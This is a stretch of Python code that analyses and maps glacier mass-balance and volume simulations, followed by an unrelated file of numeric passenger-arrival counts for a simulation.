plt.title('Area Weighted Volume ' + title)
plt.xlabel('Year')
plt.ylabel('Volume km3')
#%% FUTURE SIMULATION SLICE ANALYSIS (total, annual average, slope and area-weighted reg.total)
#28 year slices if 2017-2100: 2017-2044, 2045-2072, 2073-2100 (inclusive)
# create three slices
yearslice1=range(2017,2045)
yearslice2=range(2045,2073)
yearslice3=range(2073,2101)
rangeslice1=range(0,len(yearslice1))
rangeslice2=range(len(yearslice1),(len(yearslice1)+len(yearslice2)))
rangeslice3=range((len(yearslice1)+len(yearslice2)),(len(yearslice1)+len(yearslice2)+ len(yearslice3)))
# annual glacier mass balance for each time slice
massbal_annual1=massbal_annual[:,rangeslice1]
massbal_annual2=massbal_annual[:,rangeslice2]
massbal_annual3=massbal_annual[:,rangeslice3]
# total glacier mass balance for each glacier for each time slice
massbal_total1=np.sum(massbal_annual1, axis=1)
massbal_total2=np.sum(massbal_annual2, axis=1)
massbal_total3=np.sum(massbal_annual3, axis=1)
title2= ('R'+str(regionO1_number) + ' ')
# area weighted total mass balance
glac_area_w1=np.sum(massbal_total1*area_prcnt, axis=0)
glac_area_w2=np.sum(massbal_total2*area_prcnt, axis=0)
glac_area_w3=np.sum(massbal_total3*area_prcnt, axis=0)
# area weighted annual mass balance for each glacier
year_weight1=[]
year_weight2=[]
year_weight3=[]
# area weighted annual values
for y in range(0,len(yearslice1)):
yeararea1=pd.Series(massbal_annual1[:,y]*area_prcnt)
year_weight1.append(yeararea1)
yeararea2=pd.Series(massbal_annual2[:,y]*area_prcnt)
year_weight2.append(yeararea2)
yeararea3=pd.Series(massbal_annual3[:,y]*area_prcnt)
year_weight3.append(yeararea3)
df_area1=(pd.DataFrame(year_weight1))
areaweight_annual1=df_area1.T
df_area2=(pd.DataFrame(year_weight2))
areaweight_annual2=df_area2.T
df_area3=(pd.DataFrame(year_weight3))
areaweight_annual3=df_area3.T
# final area weighted annual values
areaweight_total=np.sum(areaweight_annual, axis=0)
plt.figure(12)
plt.figure(figsize=(10,10))
ax = plt.axes(projection=projection)
ax.add_feature(land_50m)
scat=ax.scatter(lons, lats, c=massbal_total1,transform=proj_crs, cmap='seismic_r', vmin=-4, vmax=4, edgecolors='black')
cbar=plt.colorbar(scat, fraction=0.02, pad=0.04)
plt.axes(projection=projection)
cbar.set_label('Mass Balance mwe')
plt.title('Total Mass Balance '+ title2 + '2017-2044')
plt.figure(13)
plt.figure(figsize=(10,10))
ax = plt.axes(projection=projection)
ax.add_feature(land_50m)
scat=ax.scatter(lons, lats, c=massbal_total2,transform=proj_crs, cmap='seismic_r', vmin=-4, vmax=4, edgecolors='black')
cbar=plt.colorbar(scat, fraction=0.02, pad=0.04)
plt.axes(projection=projection)
cbar.set_label('Mass Balance mwe')
plt.title('Total Mass Balance '+ title2 + '2045-2072')
plt.figure(14)
plt.figure(figsize=(10,10))
ax = plt.axes(projection=projection)
ax.add_feature(land_50m)
scat=ax.scatter(lons, lats, c=massbal_total3,transform=proj_crs, cmap='seismic_r', vmin=-4, vmax=4, edgecolors='black')
cbar=plt.colorbar(scat, fraction=0.02, pad=0.04)
plt.axes(projection=projection)
cbar.set_label('Mass Balance mwe')
plt.title('Total Mass Balance '+ title2 + '2073-2100')
#do total mass balance and annual average mass balance for each glacier
# and total area weighted
#%% OLD CODE
#%%Linear regressions for total dataset
#want linear regressions(with scipy) and then remove slopes based on high p values
year2=list(range(2015,2100))
massbal_annual=(np.sum(massbal_total.reshape(-1,12),axis=1)).reshape(len(lats),len(year))
linreg_info=[('RGIId','slope','incercept','r_val','p_val','std_err')]
slopes=[]
# removes slopes that have a statsig below 95%
for i in range(0,len(lats)):
slope, intercept, r_value, p_value, std_err = linregress(year2, massbal_annual[i])
RGI=glacier_data[0][i]
if p_value > 0.05:
slope=float('nan')
if glacier_data[13][i] != 0:
appends=(RGI, 'nan','nan','nan','nan','nan')
else:
appends=(RGI, slope, intercept,r_value, p_value, std_err)
linreg_info.append(appends)
slopes.append(slope)
#%% slope plotting
east = int(round(lons.min())) - 1
west = int(round(lons.max())) + 1
south = int(round(lats.min())) - 1
north = int(round(lats.max())) + 1
xtick = 1
ytick = 1
g=plt.figure(1)
# Plot regional maps
post.plot_latlonvar(lons, lats, slopes,-4.5, 1.5, 'modelled linear rates of SMB Change', 'longitude [deg]',
'latitude [deg]', 'jet_r', east, west, south, north, xtick, ytick)
land_50m = car.feature.NaturalEarthFeature('physical', 'land', '50m',
edgecolor='k',
facecolor='none')
#pp=plt.figure(1)
plt.figure(figsize=(10,10))
ax = plt.axes(projection=car.crs.PlateCarree())
#ax.set_global()
#ax.coastlines()
ax.add_feature(land_50m)
scat1=ax.scatter(lons,lats, c='none', edgecolors='black')
scat=ax.scatter(lons, lats, c=slopes, cmap='winter_r', edgecolors='black')
#scat.set_clim(-2.5,2.5)
cbar=plt.colorbar(scat, fraction=0.02, pad=0.04)
cbar.set_label('Rate of Chagne mwea')
plt.title('Mass Change/Yr, 1985-2015')
# NEED TO CONSIDER WHAT COLORPLOTS TO USE; DO I WANT TO DISTINGUISH BETWEEN LOW CHANGE AND NAN?
#%%
east = int(round(lons.min())) - 1
west = int(round(lons.max())) + 1
south = int(round(lats.min())) - 1
north = int(round(lats.max())) + 1
xtick = 1
ytick = 1
g=plt.figure(1)
# Plot regional maps
land_50m = car.feature.NaturalEarthFeature('physical', 'land', '50m',
edgecolor='k',
facecolor='none')
#pp=plt.figure(1)
plt.figure(figsize=(10,10))
ax = plt.axes(projection=car.crs.PlateCarree())
#ax.set_global()
#ax.coastlines()
ax.add_feature(land_50m)
scat1=ax.scatter(lons,lats, c='none', edgecolors='black')
scat=ax.scatter(lons, lats, c=massbal_total_mwea, cmap='jet_r', edgecolors='black')
#scat.set_clim(-2.5,2.5)
cbar=plt.colorbar(scat, fraction=0.02, pad=0.04)
plt.title('Total Mass Balance Change 1985-2015')
cbar.set_label('Mass change mwe')
#%% Analysis of volume data
volume_total=volume.sum(axis=0)
volume_first=volume_total[0]
volume_prcnt=volume_total/volume_first
plt.plot(year,volume_total)
plt.title('Total Volume 2016-2100')
plt.xlabel('Year')
plt.ylabel('Volume m3')
plt.plot(year,volume_prcnt)
plt.title('Volume % Change 2016-2100')
plt.xlabel('Year')
plt.ylabel('%')
for i in range(5,85): #this code really needs to be improved... need to incorporate another for loop
test=i-1
test2=i-2
test3=i-3
test4=i-4
test5=i-5
volchange1=abs(volume_prcnt[test]-volume_prcnt[i])
volchange2=abs(volume_prcnt[test2]-volume_prcnt[test])
volchange3=abs(volume_prcnt[test3]-volume_prcnt[test2])
volchange4=abs(volume_prcnt[test4]-volume_prcnt[test3])
volchange5=abs(volume_prcnt[test5]-volume_prcnt[test4])
if volchange1 and volchange2 and volchange3 and volchange4 and volchange5 <= 0.0001:
print (year[i])
volume_change=[]
for x in range(0,85):
yr=x+1
change=(volume_total[yr]-volume_total[x])
volume_change.append(change)
plt.plot(year2,volume_change)
plt.title('Total Volume Change 2016-2100')
plt.xlabel('Year')
plt.ylabel('Volume m3')
#%%Analysis of climate data
temp_annual=((np.sum(temp.reshape(-1,12),axis=1)).reshape(568,85))/12
temp_ave=((temp_annual.sum(axis=0)))/568
plt.plot(year2,temp_ave)
plt.title('Era-Int Temp Simulation 2016-2100 [Years:1990-2000]')
plt.xlabel('Year')
plt.ylabel('T(degC)')
prec_annual=((np.sum(prec.reshape(-1,12),axis=1)).reshape(568,85))/12
prec_ave=((prec_annual.sum(axis=0)))/568
plt.plot(year2, prec_ave)
plt.title('Era-Int Prec Simulation 2016-2100 [Years:1990-2000]')
plt.xlabel('Year')
plt.ylabel('Prec(mm)')
#%% For Plotting
# Set extent
east = int(round(lons.min())) - 1
west = int(round(lons.max())) + 1
south = int(round(lats.min())) - 1
north = int(round(lats.max())) + 1
xtick = 1
ytick = 1
g=plt.figure(1)
# Plot regional maps
post.plot_latlonvar(lons, lats, massbal_total_mwea, -4.5, 1.5, 'Modeled mass balance [mwea]', 'longitude [deg]',
'latitude [deg]', 'jet_r', east, west, south, north, xtick, ytick)
#plt.savefig(input.output_filepath+'/../../CH_1/iceland_2', dpi=100)
| 18,409 | 7,678 |
"""
PASSENGERS
"""
numPassengers = 34483
passenger_arriving = (
(6, 8, 12, 6, 7, 5, 6, 1, 4, 0, 1, 2, 0, 14, 9, 4, 3, 9, 4, 3, 1, 7, 3, 5, 0, 0), # 0
(6, 15, 6, 15, 7, 6, 2, 5, 3, 0, 1, 3, 0, 8, 8, 5, 7, 6, 6, 7, 5, 4, 2, 2, 1, 0), # 1
(10, 7, 9, 8, 8, 6, 5, 8, 3, 4, 0, 2, 0, 7, 17, 3, 9, 10, 7, 2, 2, 3, 7, 0, 1, 0), # 2
(6, 8, 11, 9, 6, 3, 5, 5, 5, 5, 3, 5, 0, 11, 14, 11, 4, 13, 5, 3, 6, 2, 7, 2, 2, 0), # 3
(13, 14, 11, 12, 9, 6, 8, 5, 6, 2, 3, 0, 0, 10, 15, 11, 8, 7, 9, 3, 1, 1, 2, 3, 0, 0), # 4
(11, 12, 18, 18, 8, 7, 3, 3, 7, 6, 2, 4, 0, 14, 8, 7, 4, 12, 9, 8, 1, 5, 4, 3, 0, 0), # 5
(10, 13, 9, 15, 6, 5, 5, 11, 6, 3, 4, 2, 0, 13, 7, 9, 6, 9, 5, 7, 2, 4, 1, 2, 0, 0), # 6
(16, 14, 15, 10, 10, 6, 2, 6, 8, 2, 1, 0, 0, 23, 6, 18, 7, 17, 5, 9, 6, 9, 4, 2, 2, 0), # 7
(24, 11, 8, 14, 12, 8, 7, 3, 7, 3, 2, 0, 0, 12, 15, 11, 4, 14, 3, 4, 2, 5, 5, 3, 4, 0), # 8
(19, 20, 16, 9, 6, 5, 8, 3, 4, 3, 1, 2, 0, 11, 18, 7, 4, 12, 9, 1, 2, 7, 3, 1, 3, 0), # 9
(21, 21, 15, 19, 7, 9, 9, 7, 5, 1, 3, 3, 0, 14, 15, 9, 6, 15, 6, 10, 2, 4, 9, 3, 2, 0), # 10
(16, 14, 9, 17, 8, 6, 2, 5, 7, 3, 4, 2, 0, 13, 19, 7, 7, 11, 7, 5, 4, 2, 6, 6, 0, 0), # 11
(14, 18, 19, 20, 12, 6, 6, 2, 4, 1, 2, 1, 0, 15, 17, 15, 12, 6, 8, 9, 5, 6, 6, 2, 4, 0), # 12
(12, 14, 18, 13, 17, 6, 5, 3, 10, 1, 1, 1, 0, 19, 14, 12, 13, 12, 7, 4, 4, 6, 5, 1, 1, 0), # 13
(13, 16, 12, 10, 22, 3, 4, 10, 10, 3, 5, 1, 0, 13, 19, 7, 16, 12, 6, 3, 6, 3, 3, 3, 3, 0), # 14
(21, 13, 14, 22, 11, 5, 4, 5, 8, 3, 1, 1, 0, 11, 29, 11, 10, 19, 4, 7, 4, 8, 5, 4, 0, 0), # 15
(13, 17, 15, 12, 10, 7, 10, 3, 9, 4, 2, 1, 0, 24, 16, 9, 9, 13, 9, 7, 4, 9, 4, 4, 1, 0), # 16
(23, 13, 13, 13, 14, 8, 5, 9, 8, 5, 3, 2, 0, 17, 17, 10, 11, 9, 8, 7, 4, 5, 5, 2, 3, 0), # 17
(16, 12, 14, 13, 10, 5, 5, 7, 7, 1, 3, 4, 0, 22, 21, 10, 9, 9, 9, 6, 7, 8, 4, 1, 1, 0), # 18
(22, 13, 17, 12, 8, 9, 6, 5, 8, 2, 2, 3, 0, 17, 14, 10, 14, 17, 9, 6, 4, 9, 5, 4, 4, 0), # 19
(14, 16, 8, 18, 18, 6, 12, 10, 7, 1, 2, 1, 0, 17, 15, 19, 10, 23, 3, 8, 3, 8, 10, 1, 0, 0), # 20
(14, 12, 23, 14, 16, 3, 10, 6, 9, 1, 3, 1, 0, 20, 15, 12, 16, 12, 9, 7, 9, 9, 6, 2, 4, 0), # 21
(18, 21, 16, 17, 11, 5, 7, 9, 3, 4, 1, 2, 0, 15, 20, 12, 6, 12, 9, 15, 2, 7, 6, 3, 2, 0), # 22
(15, 15, 17, 16, 9, 8, 11, 7, 8, 7, 2, 3, 0, 15, 19, 13, 11, 17, 6, 11, 5, 5, 4, 2, 3, 0), # 23
(14, 16, 16, 20, 11, 6, 7, 4, 8, 2, 1, 2, 0, 19, 8, 12, 9, 7, 14, 11, 5, 7, 4, 3, 4, 0), # 24
(15, 20, 11, 28, 16, 3, 3, 5, 8, 2, 0, 2, 0, 20, 26, 15, 10, 12, 7, 9, 3, 6, 6, 3, 3, 0), # 25
(17, 24, 22, 22, 15, 3, 7, 4, 3, 5, 1, 3, 0, 21, 17, 13, 13, 11, 10, 4, 4, 4, 4, 4, 4, 0), # 26
(20, 25, 12, 11, 11, 7, 8, 1, 11, 5, 2, 2, 0, 15, 22, 10, 4, 16, 9, 9, 4, 10, 4, 2, 1, 0), # 27
(19, 17, 23, 22, 8, 4, 6, 12, 9, 2, 7, 4, 0, 13, 17, 13, 9, 22, 8, 10, 2, 6, 7, 5, 0, 0), # 28
(24, 21, 13, 13, 16, 5, 8, 9, 7, 5, 2, 0, 0, 26, 12, 16, 10, 13, 11, 6, 5, 9, 3, 2, 2, 0), # 29
(17, 20, 14, 13, 11, 2, 4, 11, 11, 7, 4, 3, 0, 13, 18, 17, 9, 18, 9, 7, 6, 6, 8, 5, 0, 0), # 30
(21, 18, 16, 29, 16, 2, 10, 7, 9, 1, 0, 0, 0, 21, 19, 14, 9, 12, 11, 7, 5, 4, 6, 4, 3, 0), # 31
(24, 17, 16, 13, 17, 10, 9, 7, 3, 1, 3, 5, 0, 21, 18, 9, 12, 17, 9, 4, 4, 7, 7, 3, 3, 0), # 32
(15, 14, 17, 15, 10, 4, 9, 10, 12, 3, 4, 4, 0, 13, 14, 10, 9, 16, 16, 9, 3, 6, 9, 3, 0, 0), # 33
(19, 20, 14, 23, 14, 9, 8, 7, 8, 4, 4, 0, 0, 17, 7, 12, 12, 20, 6, 8, 7, 10, 8, 2, 1, 0), # 34
(14, 12, 13, 19, 15, 7, 9, 7, 6, 6, 2, 2, 0, 18, 7, 12, 11, 8, 15, 9, 5, 7, 2, 3, 0, 0), # 35
(17, 19, 22, 20, 12, 3, 6, 4, 11, 3, 1, 2, 0, 9, 9, 8, 8, 13, 6, 2, 2, 11, 1, 3, 2, 0), # 36
(15, 23, 13, 20, 13, 4, 9, 6, 10, 2, 1, 2, 0, 19, 21, 14, 6, 11, 5, 6, 8, 2, 8, 2, 1, 0), # 37
(13, 21, 18, 16, 7, 4, 8, 7, 5, 4, 1, 0, 0, 19, 12, 15, 5, 16, 9, 5, 4, 5, 7, 2, 0, 0), # 38
(18, 20, 12, 12, 11, 7, 3, 6, 4, 2, 3, 0, 0, 19, 20, 9, 9, 16, 14, 4, 7, 10, 9, 3, 3, 0), # 39
(16, 16, 14, 23, 7, 5, 7, 10, 11, 2, 2, 3, 0, 25, 18, 14, 4, 26, 7, 6, 4, 6, 11, 4, 6, 0), # 40
(14, 15, 18, 24, 16, 4, 3, 5, 8, 4, 4, 2, 0, 21, 15, 9, 15, 10, 7, 4, 3, 3, 2, 1, 1, 0), # 41
(16, 15, 9, 19, 10, 4, 5, 6, 12, 4, 1, 3, 0, 17, 15, 17, 12, 12, 7, 7, 7, 7, 3, 2, 3, 0), # 42
(16, 24, 23, 18, 17, 7, 8, 7, 11, 3, 2, 3, 0, 15, 15, 7, 15, 10, 10, 5, 6, 4, 6, 3, 2, 0), # 43
(18, 19, 17, 17, 5, 4, 1, 4, 8, 4, 3, 2, 0, 19, 21, 8, 17, 17, 4, 5, 3, 4, 10, 3, 0, 0), # 44
(19, 17, 14, 17, 13, 13, 6, 7, 10, 4, 6, 0, 0, 19, 18, 16, 7, 17, 8, 4, 5, 8, 7, 2, 3, 0), # 45
(13, 16, 14, 18, 11, 7, 5, 6, 4, 4, 2, 0, 0, 13, 12, 16, 14, 17, 7, 7, 6, 4, 6, 2, 1, 0), # 46
(20, 16, 17, 16, 12, 10, 7, 7, 7, 3, 3, 0, 0, 17, 19, 13, 6, 14, 10, 11, 2, 9, 2, 1, 2, 0), # 47
(22, 17, 16, 16, 20, 3, 10, 7, 13, 3, 0, 1, 0, 15, 21, 18, 7, 10, 8, 9, 3, 2, 5, 3, 1, 0), # 48
(19, 12, 20, 11, 9, 8, 11, 11, 6, 4, 1, 4, 0, 13, 17, 15, 8, 13, 12, 9, 8, 8, 4, 4, 2, 0), # 49
(18, 17, 23, 13, 16, 10, 7, 2, 9, 1, 4, 0, 0, 19, 18, 19, 10, 9, 11, 7, 4, 7, 2, 4, 2, 0), # 50
(24, 10, 14, 14, 10, 4, 7, 7, 6, 6, 2, 2, 0, 17, 20, 13, 7, 19, 11, 5, 3, 7, 7, 6, 0, 0), # 51
(20, 20, 11, 14, 10, 3, 8, 9, 4, 3, 3, 1, 0, 17, 17, 14, 11, 7, 6, 6, 3, 4, 7, 3, 2, 0), # 52
(22, 23, 11, 15, 16, 4, 5, 6, 4, 4, 2, 0, 0, 22, 19, 9, 10, 19, 7, 4, 4, 10, 6, 5, 0, 0), # 53
(18, 19, 17, 24, 15, 7, 6, 5, 9, 3, 1, 3, 0, 23, 11, 11, 8, 10, 14, 4, 6, 4, 4, 4, 0, 0), # 54
(15, 21, 15, 16, 14, 3, 8, 8, 4, 4, 4, 0, 0, 28, 17, 14, 9, 8, 10, 5, 5, 7, 4, 3, 0, 0), # 55
(16, 17, 16, 13, 9, 5, 10, 4, 4, 6, 0, 3, 0, 19, 14, 11, 8, 9, 5, 6, 4, 8, 6, 6, 1, 0), # 56
(20, 20, 5, 20, 12, 9, 8, 7, 5, 4, 1, 3, 0, 15, 12, 14, 7, 17, 8, 7, 4, 6, 4, 2, 3, 0), # 57
(17, 15, 15, 24, 8, 10, 6, 2, 7, 6, 6, 1, 0, 21, 11, 13, 10, 19, 5, 9, 6, 6, 3, 3, 1, 0), # 58
(16, 21, 14, 6, 18, 6, 12, 4, 4, 4, 1, 0, 0, 10, 10, 10, 12, 16, 9, 6, 3, 12, 7, 5, 0, 0), # 59
(14, 20, 18, 16, 10, 9, 10, 4, 7, 4, 3, 2, 0, 20, 12, 10, 7, 15, 10, 6, 6, 7, 7, 2, 1, 0), # 60
(19, 11, 14, 15, 14, 3, 7, 6, 7, 7, 0, 3, 0, 12, 16, 15, 7, 13, 12, 2, 4, 6, 6, 0, 0, 0), # 61
(36, 16, 17, 13, 17, 4, 9, 5, 11, 4, 0, 0, 0, 11, 15, 14, 14, 19, 13, 13, 3, 9, 3, 3, 2, 0), # 62
(17, 18, 11, 23, 18, 5, 6, 4, 8, 5, 0, 2, 0, 30, 9, 15, 9, 5, 7, 10, 1, 5, 3, 3, 4, 0), # 63
(18, 15, 22, 12, 16, 6, 6, 9, 5, 1, 3, 2, 0, 13, 19, 13, 13, 9, 9, 7, 1, 6, 8, 2, 0, 0), # 64
(14, 8, 20, 13, 17, 2, 7, 10, 5, 5, 1, 1, 0, 20, 20, 18, 14, 11, 9, 8, 5, 6, 8, 0, 1, 0), # 65
(23, 19, 16, 20, 17, 6, 3, 10, 11, 4, 5, 1, 0, 18, 12, 7, 5, 19, 7, 10, 5, 8, 5, 4, 0, 0), # 66
(14, 15, 20, 15, 15, 4, 4, 6, 3, 3, 5, 0, 0, 16, 22, 9, 7, 11, 7, 7, 4, 9, 4, 3, 1, 0), # 67
(14, 12, 17, 15, 14, 4, 8, 3, 8, 4, 1, 0, 0, 17, 19, 16, 8, 15, 8, 5, 4, 12, 8, 2, 1, 0), # 68
(12, 25, 17, 18, 15, 9, 10, 11, 13, 1, 4, 2, 0, 19, 12, 13, 16, 10, 9, 8, 4, 7, 4, 2, 1, 0), # 69
(14, 13, 15, 22, 10, 7, 3, 3, 5, 4, 3, 0, 0, 24, 25, 16, 10, 16, 5, 6, 3, 5, 9, 0, 1, 0), # 70
(16, 16, 20, 19, 17, 7, 6, 6, 6, 2, 2, 2, 0, 8, 15, 7, 9, 15, 5, 6, 4, 7, 5, 3, 2, 0), # 71
(19, 10, 18, 20, 19, 1, 8, 4, 7, 2, 0, 0, 0, 22, 15, 19, 14, 9, 7, 2, 3, 8, 4, 4, 0, 0), # 72
(25, 15, 12, 16, 11, 5, 10, 6, 11, 0, 3, 2, 0, 22, 11, 10, 6, 13, 5, 14, 7, 10, 9, 2, 1, 0), # 73
(21, 14, 12, 15, 13, 8, 8, 7, 9, 4, 0, 0, 0, 22, 17, 11, 9, 18, 7, 10, 3, 6, 6, 5, 0, 0), # 74
(23, 26, 13, 20, 11, 14, 6, 4, 7, 5, 1, 2, 0, 18, 8, 10, 11, 14, 7, 8, 4, 7, 7, 1, 2, 0), # 75
(16, 15, 19, 21, 17, 10, 7, 11, 2, 1, 2, 1, 0, 12, 13, 17, 16, 12, 3, 5, 5, 11, 2, 4, 1, 0), # 76
(13, 21, 19, 16, 12, 6, 4, 4, 9, 3, 4, 0, 0, 18, 15, 19, 12, 12, 5, 8, 3, 7, 3, 3, 1, 0), # 77
(23, 12, 13, 20, 16, 9, 7, 4, 9, 2, 3, 2, 0, 14, 22, 16, 11, 11, 3, 7, 4, 6, 1, 2, 0, 0), # 78
(19, 14, 12, 17, 22, 9, 8, 6, 7, 4, 2, 4, 0, 26, 18, 14, 7, 13, 10, 3, 8, 9, 8, 1, 1, 0), # 79
(22, 11, 20, 13, 16, 6, 4, 3, 5, 6, 1, 1, 0, 29, 13, 10, 10, 14, 4, 4, 4, 5, 4, 2, 0, 0), # 80
(17, 17, 10, 18, 11, 6, 10, 5, 2, 2, 1, 0, 0, 17, 15, 17, 9, 20, 8, 3, 5, 9, 5, 8, 1, 0), # 81
(14, 11, 12, 21, 11, 6, 11, 5, 6, 2, 2, 6, 0, 16, 16, 9, 17, 16, 6, 11, 3, 5, 2, 3, 1, 0), # 82
(14, 12, 15, 22, 14, 3, 6, 4, 3, 3, 2, 2, 0, 22, 12, 14, 9, 14, 6, 4, 4, 6, 5, 3, 1, 0), # 83
(18, 14, 17, 17, 10, 7, 5, 9, 9, 1, 0, 4, 0, 21, 14, 12, 8, 17, 8, 9, 5, 4, 7, 2, 3, 0), # 84
(14, 11, 12, 21, 19, 4, 1, 7, 5, 1, 4, 0, 0, 18, 13, 11, 3, 18, 8, 10, 7, 11, 5, 2, 1, 0), # 85
(16, 10, 17, 15, 13, 1, 4, 2, 12, 4, 2, 4, 0, 13, 10, 13, 8, 24, 8, 5, 4, 7, 2, 6, 1, 0), # 86
(17, 18, 15, 8, 13, 8, 17, 3, 6, 2, 0, 2, 0, 23, 14, 11, 9, 8, 11, 9, 8, 9, 3, 4, 1, 0), # 87
(18, 14, 13, 15, 11, 9, 6, 4, 8, 4, 4, 2, 0, 18, 12, 6, 12, 18, 9, 5, 4, 9, 5, 4, 1, 0), # 88
(20, 18, 13, 14, 13, 6, 7, 2, 2, 2, 2, 0, 0, 14, 10, 7, 9, 14, 3, 4, 6, 6, 3, 4, 0, 0), # 89
(21, 16, 16, 15, 6, 6, 5, 4, 8, 5, 2, 2, 0, 24, 14, 7, 10, 13, 3, 8, 4, 6, 9, 3, 2, 0), # 90
(26, 14, 9, 14, 6, 4, 10, 8, 4, 2, 0, 0, 0, 14, 15, 11, 6, 16, 6, 3, 3, 7, 5, 0, 1, 0), # 91
(13, 15, 12, 20, 13, 5, 3, 7, 4, 5, 1, 0, 0, 18, 17, 12, 7, 8, 13, 5, 5, 5, 5, 0, 2, 0), # 92
(25, 10, 14, 15, 17, 6, 2, 6, 9, 1, 5, 2, 0, 14, 11, 9, 8, 21, 5, 9, 5, 9, 6, 3, 3, 0), # 93
(19, 15, 15, 19, 14, 4, 8, 6, 5, 3, 1, 1, 0, 19, 17, 13, 8, 15, 7, 7, 9, 3, 3, 1, 0, 0), # 94
(17, 11, 8, 21, 15, 4, 9, 2, 10, 1, 1, 2, 0, 12, 16, 5, 7, 14, 7, 7, 4, 6, 5, 1, 2, 0), # 95
(20, 9, 9, 13, 11, 7, 6, 5, 5, 1, 4, 1, 0, 21, 13, 15, 5, 13, 7, 4, 8, 3, 5, 3, 1, 0), # 96
(20, 16, 15, 13, 17, 6, 6, 7, 6, 6, 4, 1, 0, 23, 11, 11, 10, 16, 7, 3, 5, 8, 6, 3, 2, 0), # 97
(10, 14, 6, 13, 13, 9, 9, 3, 8, 3, 3, 2, 0, 22, 9, 9, 11, 10, 12, 2, 5, 7, 2, 3, 0, 0), # 98
(18, 15, 14, 15, 9, 3, 7, 7, 8, 4, 5, 2, 0, 18, 13, 11, 13, 10, 8, 6, 3, 5, 3, 4, 2, 0), # 99
(24, 14, 14, 24, 7, 7, 6, 3, 6, 2, 4, 2, 0, 21, 14, 20, 10, 17, 4, 2, 5, 12, 5, 2, 1, 0), # 100
(22, 11, 17, 10, 12, 4, 4, 3, 8, 4, 2, 0, 0, 14, 13, 12, 9, 15, 10, 6, 3, 7, 9, 2, 0, 0), # 101
(17, 18, 10, 14, 15, 5, 6, 4, 9, 0, 2, 1, 0, 16, 13, 8, 5, 11, 11, 3, 5, 7, 2, 4, 2, 0), # 102
(19, 11, 19, 12, 12, 7, 7, 5, 6, 3, 3, 1, 0, 16, 11, 17, 7, 11, 10, 6, 4, 7, 6, 3, 1, 0), # 103
(12, 17, 13, 23, 13, 6, 6, 4, 6, 10, 1, 1, 0, 21, 14, 16, 9, 17, 8, 7, 8, 5, 4, 1, 1, 0), # 104
(18, 12, 18, 20, 16, 7, 4, 7, 10, 2, 1, 0, 0, 23, 13, 12, 12, 14, 7, 5, 6, 8, 3, 2, 1, 0), # 105
(12, 12, 14, 16, 18, 6, 5, 5, 6, 4, 2, 1, 0, 25, 19, 12, 5, 11, 6, 4, 3, 12, 5, 3, 3, 0), # 106
(15, 8, 20, 13, 12, 11, 10, 1, 6, 1, 2, 0, 0, 11, 18, 15, 12, 12, 8, 5, 4, 7, 3, 3, 0, 0), # 107
(17, 18, 16, 13, 6, 7, 10, 4, 9, 2, 6, 1, 0, 11, 16, 10, 5, 15, 6, 8, 7, 5, 6, 2, 1, 0), # 108
(18, 14, 12, 14, 9, 3, 4, 5, 5, 3, 4, 3, 0, 17, 13, 8, 9, 15, 4, 4, 7, 6, 4, 2, 1, 0), # 109
(11, 12, 12, 18, 18, 8, 7, 0, 5, 4, 0, 2, 0, 16, 13, 14, 8, 15, 5, 5, 4, 7, 3, 0, 0, 0), # 110
(20, 9, 20, 15, 15, 6, 8, 6, 7, 1, 4, 2, 0, 20, 14, 7, 3, 12, 6, 4, 2, 2, 3, 1, 0, 0), # 111
(18, 7, 18, 13, 18, 7, 8, 1, 6, 2, 0, 2, 0, 19, 13, 10, 4, 13, 7, 4, 6, 4, 5, 6, 1, 0), # 112
(20, 16, 17, 19, 12, 7, 5, 6, 11, 1, 3, 0, 0, 18, 10, 8, 3, 14, 4, 5, 4, 2, 6, 5, 0, 0), # 113
(23, 11, 15, 17, 6, 8, 3, 6, 6, 1, 0, 1, 0, 24, 8, 9, 6, 14, 4, 7, 6, 3, 5, 1, 0, 0), # 114
(16, 16, 16, 18, 11, 4, 4, 3, 6, 5, 2, 0, 0, 14, 11, 7, 3, 18, 5, 4, 4, 12, 3, 5, 0, 0), # 115
(14, 15, 10, 18, 10, 3, 6, 3, 6, 2, 3, 1, 0, 19, 15, 9, 11, 9, 6, 4, 4, 6, 7, 2, 0, 0), # 116
(18, 14, 15, 19, 9, 3, 4, 3, 7, 3, 2, 1, 0, 24, 15, 8, 3, 22, 6, 2, 6, 8, 3, 3, 1, 0), # 117
(8, 11, 8, 9, 16, 7, 6, 7, 4, 1, 3, 1, 0, 18, 8, 8, 7, 13, 3, 5, 3, 4, 4, 2, 1, 0), # 118
(14, 8, 10, 11, 10, 7, 9, 6, 7, 5, 2, 0, 0, 22, 12, 10, 8, 11, 6, 2, 3, 10, 5, 6, 1, 0), # 119
(13, 9, 14, 15, 11, 12, 10, 4, 7, 4, 3, 1, 0, 16, 16, 12, 7, 17, 9, 4, 2, 4, 4, 2, 1, 0), # 120
(14, 17, 8, 19, 13, 1, 3, 2, 6, 2, 4, 0, 0, 17, 17, 12, 4, 14, 6, 6, 1, 9, 3, 0, 3, 0), # 121
(19, 14, 16, 16, 11, 8, 6, 4, 5, 1, 0, 0, 0, 19, 14, 13, 5, 13, 5, 2, 4, 2, 4, 7, 1, 0), # 122
(11, 13, 21, 17, 14, 3, 4, 5, 7, 2, 0, 3, 0, 12, 17, 16, 9, 15, 10, 7, 2, 10, 6, 2, 0, 0), # 123
(15, 16, 8, 19, 7, 4, 0, 8, 6, 2, 2, 3, 0, 20, 11, 9, 6, 14, 4, 4, 5, 3, 6, 3, 1, 0), # 124
(17, 12, 15, 21, 9, 11, 5, 4, 5, 2, 3, 1, 0, 24, 14, 10, 9, 14, 3, 6, 5, 9, 5, 2, 1, 0), # 125
(20, 9, 19, 13, 18, 3, 3, 6, 5, 1, 0, 3, 0, 11, 11, 9, 3, 8, 8, 5, 3, 7, 6, 3, 0, 0), # 126
(21, 12, 7, 18, 8, 7, 3, 4, 6, 0, 2, 1, 0, 10, 8, 12, 9, 6, 7, 4, 5, 11, 6, 3, 1, 0), # 127
(18, 21, 11, 13, 15, 0, 9, 5, 8, 3, 0, 4, 0, 21, 13, 5, 7, 10, 4, 7, 2, 2, 4, 4, 0, 0), # 128
(20, 12, 11, 17, 9, 3, 8, 5, 4, 4, 2, 0, 0, 18, 12, 6, 8, 20, 7, 5, 5, 8, 5, 2, 3, 0), # 129
(11, 7, 11, 16, 18, 8, 8, 5, 4, 4, 1, 2, 0, 16, 9, 7, 8, 13, 5, 3, 5, 12, 3, 6, 1, 0), # 130
(13, 11, 6, 8, 10, 2, 6, 4, 8, 2, 0, 3, 0, 14, 6, 14, 11, 9, 7, 7, 5, 5, 2, 7, 1, 0), # 131
